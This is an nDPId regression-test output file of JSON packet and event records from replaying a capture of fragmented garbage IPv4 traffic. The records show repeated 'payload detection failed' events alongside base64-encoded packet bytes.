+00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307279,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307291,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307315,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307329,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307340,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307352,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307363,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307375,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307387,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307412,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307428,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307452,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307465,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307476,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307488,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307500,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307512,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307526,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307538,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307550,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307561,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307573,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307584,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307596,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307615,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307628,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307639,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307651,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307662,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307690,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307702,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307714,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307726,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307740,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307752,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307764,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307775,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307787,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307799,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 